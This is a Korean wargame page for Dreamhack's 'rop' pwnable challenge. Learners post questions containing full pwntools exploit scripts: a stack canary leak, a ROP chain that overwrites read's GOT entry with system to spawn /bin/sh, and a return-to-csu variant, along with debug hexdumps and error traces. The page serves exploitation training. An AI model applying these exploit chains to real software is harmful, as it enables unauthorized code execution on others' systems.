LEVEL 2

rop

pwnable
  • 문제 정보
  • 풀이 54
  • 난이도 투표 60
  • 질문 52
  • 최근 풀이자 1261
  • 댓글 39

문제 설명

Description

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

문제 수정 내역

2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
CTF First Place
출제된 지 4시간 만에 풀이 완료!

난이도 투표 60

질문 52

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
강의노트를 보며 rop를 풀다 궁금한점이 생겨 질문드립니다.
payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) payload += p64(read_plt) 우선 이 코드가 이해가 잘 가지 않습니다. 첫번째로는 p64(0)을 뒤에 붙여주는 부분입니다. 어떤 이유로 함수의 인자 뒤에 이것이 붙었는지 잘 모르겠습니다. 두번쨰로는 read함수는 dx가 정해지지 않을 경우 실행이 되지 않는 것으로 알고있는데, 위에 코드에서는 dx가 생략되어 있는 것으로 보입니다. pop dx를 찾기 힘들다는 내용은 강의를 통해 파악했는데 설정해주지 않으면 0x10 이 defalut value로 들어가게 되는건지 여쭙고 싶습니다. 두번째로는 payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) 와 p.send(p64(system)+b"/bin/sh\x00") 부분에서 제가 제대로 알고있는지 파악하고 싶은 부분이 있습니다. 제가 이해하기로는 이전에 read함수에서 read_got에 system함수의 실제 주소를 넣어야 하고, 8바이트가 꽉 차기 때문에 p.send(p64(system)+b"/bin/sh\x00")를 통해 read_got와 read_got+0x8을 채워주고, system함수의 인자는 rdi를 통해 받기 때문에 payload += p64(pop_rdi) payload += p64(read_got+0x8) 을 하고, read_plt를 이용하여 system함수로 실행하는 것으로 이해했습니다. 근데 이미 payload에 +해서 전체를 첫 read함수(read(buf, 0x100)에 전달하는거고, 그러면 입력버퍼에 전부 들어가게 되는 것으로 알고 있습니다. 중간에 다시 read_plt에서 read함수를 호출하여 read_got에 입력해주는 구조인거 같은데, 그렇다면 여기서 입력한 값들은 입력버퍼의 뒤에서 부터 채우게 되어 제대로 입력이 되지 않을 것이라고 생각이 됩니다. 제가 제대로 이해하지 못하여 가독성이 떨어지게 쓴것 같습니다. 그래도 답변해주시면 감사하겠습니다.
sksdkanrjtehahffkdy
실행하면 계속 eof 나옵니다.
일단 코드는 이렇게 작성했습니다. from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) context(arch = 'amd64', os = 'linux', log_level = 'debug') p = process('./rop') e = ELF("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") buf = b"A"*57 p.sendafter("Buf: ", buf) p.recvuntil(buf) cnry = u64(b"\x00"+p.recvn(7)) slog("canary", cnry) read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.plt['puts'] pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 payload = b"A"56 + p64(cnry) + b"A"8 payload += p64(pop_rdi) + p64(read_got) payload += p64(puts_plt) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) payload += p64(read_plt) payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) p.sendafter("Buf: ", payload) read = u64(p.recvn(6)+b"\x00"*2) lb = read - libc.symbols["read"] system = lb + libc.symbols["system"] puts = lb + libc.symbols["puts"] slog("read", read) slog("libc base", lb) slog("system", system) slog("puts", puts) p.send(p64(system)+b"/bin/sh\x00") p.interactive() pop rdi, pop rsi r15 가젯은 ropgadget으로 찾아서 입력했습니다. 중간에 gdb.attack(p)로 gdb 봐도 코드가 잘 들어가는 것 같고, 혹시 해서 read_got + 8을 read_got으로 바꿔도 여전합니다. 또 특이하게도 가끔 stack smashing detected가 뜹니다. (보통 뜨지 않음) 어떤 게 문제인지 잘 모르겠습니다...
avatar mswgen
수업에서 제시된 코드가 안됩니다.
수업에서 제시된 코드에 libc 웹사이트에서 확인한 오프셋으로 수정한 후 코드를 돌렸는데 EOF가 떠서 당황스러워요. 현재 로컬 환경에서 gdb을 이용해보니까 rax 레지스터에 0x00값이 담겨 read가 안되는 상황입니다. 때문에 원격으로 문제 풀이를 진행 중인데, overwrite가 되었는지 확인할 수도 없어서 난처합니다ㅜㅜ 1 from pwn import * 2 def slog(name, addr): 3 return success(": ".join([name, hex(addr)])) 4 p = remote("host1.dreamhack.games", 19709) 5 e = ELF("./rop") 6 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 7 # [1] Leak canary 8 buf = b"A"*0x39 9 p.sendafter("Buf: ", buf) 10 p.recvuntil(buf) 11 cnry = u64(b"\x00"+p.recvn(7)) 12 slog("canary", cnry) 13 # [2] Exploit 14 read_plt = e.plt['read'] 15 read_got = e.got['read'] 16 puts_plt = e.plt['puts'] 17 pop_rdi = 0x00000000004007f3 18 pop_rsi_r15 = 0x00000000004007f1 19 payload = b"A"0x38 + p64(cnry) + b"B"0x8 20 # puts(read_got) 21 payload += p64(pop_rdi) + p64(read_got) 22 payload += p64(puts_plt) 23 # read(0, read_got, 0x10) 24 payload += p64(pop_rdi) + p64(0) 25 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) 26 payload += p64(read_plt) 27 # read("/bin/sh") == system("/bin/sh") 28 payload += p64(pop_rdi) 29 payload += p64(read_got+0x8) 30 payload += p64(read_plt) 31 p.sendafter("Buf: ", payload) 32 read = u64(p.recvn(6)+b"\x00"*2) 33 lb = read - 0x110140 34 system = lb + 0x4f550 35 slog("read", read) 36 slog("libc base", lb) 37 slog("system", system) 38 p.send(p64(system)+b"/bin/sh\x00") 39 p.interactive() `
code_blue
[rop] Return-to-Csu
실습에서 진행한 방식대로 코드를 짜서 익스플로잇을 해보니 로컬 환경에서는 실행되지만, 아무리 해봐도 원격 환경에서는 실행이 안되서 Return to csu 기법으로 시도를 해보았습니다. 먼저 libc_csu의 주소를 찾으려고 봐봤더니 0x00000000004007ea <+90>: pop rbx 0x00000000004007eb <+91>: pop rbp 0x00000000004007ec <+92>: pop r12 0x00000000004007ee <+94>: pop r13 0x00000000004007f0 <+96>: pop r14 0x00000000004007f2 <+98>: pop r15 0x00000000004007f4 <+100>: ret 0x00000000004007d0 <+64>: mov rdx,r15 0x00000000004007d3 <+67>: mov rsi,r14 0x00000000004007d6 <+70>: mov edi,r13d 0x00000000004007d9 <+73>: call QWORD PTR [r12+rbx*8] 0x00000000004007dd <+77>: add rbx,0x1 0x00000000004007e1 <+81>: cmp rbp,rbx 0x00000000004007e4 <+84>: jne 0x4007d0 <__libc_csu_init+64> 0x00000000004007e6 <+86>: add rsp,0x8 구글링을 해본 결과와 다르게 r15가 rdx로 들어가고 r13이 rdi로 들어가도록 코드가 출력되었습니다. 그래서 그냥 저 위치에 맞게 코드를 짜면 되겠다 해서 익스플로잇 코드를 짜고 from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) context.log_level = 'debug' p = process("./rop") e = ELF("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") r = ROP(e) [1] Leak Canary buf = b'A'*57 p.sendafter("Buf: ", buf) p.recvuntil(buf) canary = u64(b'\x00'+p.recvn(7)) slog("Canary", canary) [2] Exploit puts_plt = e.plt['puts'] read_got = e.got['read'] bss = e.bss() pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] csu_init1 = 0x4007ea csu_init2 = 0x4007d0 dummy = b'A'*8 payload = b'A'56 + p64(canary) + b'B'8 puts(read@got) => read 함수 실제 주소 leak payload += p64(pop_rdi) + p64(read_got) # puts(read@got) payload += p64(puts_plt) # puts(read@got) 호출 read(0, bss, 8) => bss 영역에 "/bin/sh" 쓰기 payload += p64(csu_init1) payload += p64(0) payload += p64(1) payload += p64(read_got) payload += p64(0) payload += p64(bss) payload += p64(8) payload += p64(csu_init2) read(0, read@got, 8) => read@got를 system으로 overwrite payload += dummy payload += p64(0) payload += p64(1) payload += p64(read_got) payload += p64(0) payload += p64(read_got) payload += p64(8) payload += p64(csu_init2) read("/bin/sh") => system("/bin/sh")를 호출 payload += dummy payload += p64(0) payload += p64(1) payload += p64(read_got) payload += p64(bss) payload += p64(0) payload += p64(0) payload += p64(csu_init2) slog("payload length", len(payload)) pause() p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력 read = u64(p.recv(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입 lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols system = lb + libc.symbols["system"] # system = libc base + system symbols slog("read", read) slog("libc_base", lb) slog("system", system) p.send(b"/bin/sh") p.send(p64(system)) p.interactive() 실행을 시켜보았는데 $ python3 local2.py [+] Starting local process './rop' argv=[b'./rop'] : pid 976 [*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded 14 cached gadgets for './rop' [DEBUG] Received 0x15 bytes: b'[1] Leak Canary\n' b'Buf: ' [DEBUG] Sent 0x39 bytes: 65 * 0x39 [DEBUG] Received 0x64 bytes: 00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 03 02 │AAAA│AAAA│AAAA│AA··│ 00000040 1e 10 d9 7f a0 90 07 40 0a 5b 32 5d 20 49 6e 70 │····│···@│·[2]│ Inp│ 00000050 75 74 20 52 4f 50 20 70 61 79 6c 6f 61 64 0a 42 │ut R│OP p│aylo│ad·B│ 00000060 75 66 3a 20 │uf: │ 00000064 [+] Canary: 0xa07fd9101e020300 [+] payload length: 0x120 [*] Paused (press any to continue) [DEBUG] Sent 0x120 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000030 41 41 41 41 41 41 41 41 00 03 02 1e 10 d9 7f a0 │AAAA│AAAA│····│····│ 00000040 42 42 42 42 42 42 42 42 f3 07 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│ 00000050 30 10 60 00 00 00 00 00 70 05 40 00 00 00 00 00 │0·`·│····│p·@·│····│ 00000060 ea 07 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│ 00000070 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│ 00000080 00 00 00 00 00 00 00 00 50 10 60 00 00 00 00 00 │····│····│P·`·│····│ 00000090 08 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│ 000000a0 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 │AAAA│AAAA│····│····│ 000000b0 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│ 000000c0 00 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│ 000000d0 08 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│ 000000e0 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 │AAAA│AAAA│····│····│ 000000f0 01 00 00 00 00 00 00 00 30 10 60 00 00 00 00 00 │····│····│0·`·│····│ 00000100 50 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │P·`·│····│····│····│ 00000110 00 00 00 00 00 00 00 00 d0 07 40 00 00 00 00 00 │····│····│··@·│····│ 00000120 [DEBUG] Received 0x7 bytes: 00000000 20 50 69 e6 e5 7f 0a │ Pi·│···│ 00000007 [+] read: 0x7fe5e6695020 [+] libc_base: 0x7fe5e6585000 [+] system: 0x7fe5e65d4420 [DEBUG] Sent 0x7 bytes: b'/bin/sh' [DEBUG] Sent 0x8 bytes: 00000000 20 44 5d e6 e5 7f 00 00 │ D]·│····│ 00000008 [*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 976) Traceback (most recent call last): File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 700, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "local2.py", line 82, in <module> p.send(p64(system)) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 777, in send self.send_raw(data) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 702, in send_raw raise EOFError EOFError Traceback (most recent call last): File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 746, in close fd.close() BrokenPipeError: [Errno 32] Broken pipe 계속 오류가 발생합니다. 어떤 부분에서 실수를 한 걸까요?
svg153

최근 풀이자 1261

연어연어
대표 업적 없음
avatar
apman
대표 업적 없음
Fackuking
대표 업적 없음
fluoworite
대표 업적 없음
djftk_
대표 업적 없음
avatar
4p/1h
대표 업적 없음
leak
대표 업적 없음
채챙
대표 업적 없음
avatar
군인김도현
대표 업적 없음
raindrp
대표 업적 없음

댓글 39

avatar
MerryQ
2023 Christmas CTF 참여
아. libc 파일로 제공하네
avatar
댕댕180
워게임 고인물
Good.\
avatar
스카이넷
강의 수강: 10
ez
catpwn
대표 업적 없음
재밌네
avatar
착한 범고래
워게임: 50
립시 버전...ㅎㅎ
dandb
대표 업적 없음
아이공... /bin/sh 대신에 /bin/ls라고 계속 적고 있었네요..
avatar
Rosieblue
워게임 고인물
어렵네여,,ㅠㅠ
hyuunn
강의 수강: 10
홀리 풀었다
avatar
Newb1e
워게임 풀이: 1
로컬에서는 라이브러리 버전이 다른데, 단순히 오프셋만 바뀌는 게 아니라 Caller Saved Register가 초기화되냐 되지 않느냐의 여부도 영향을 미칩니다. 서버에서 되는게 로컬에서 안될수 있다는 뜻입니다.
yyw
대표 업적 없음
많이 배워갑니다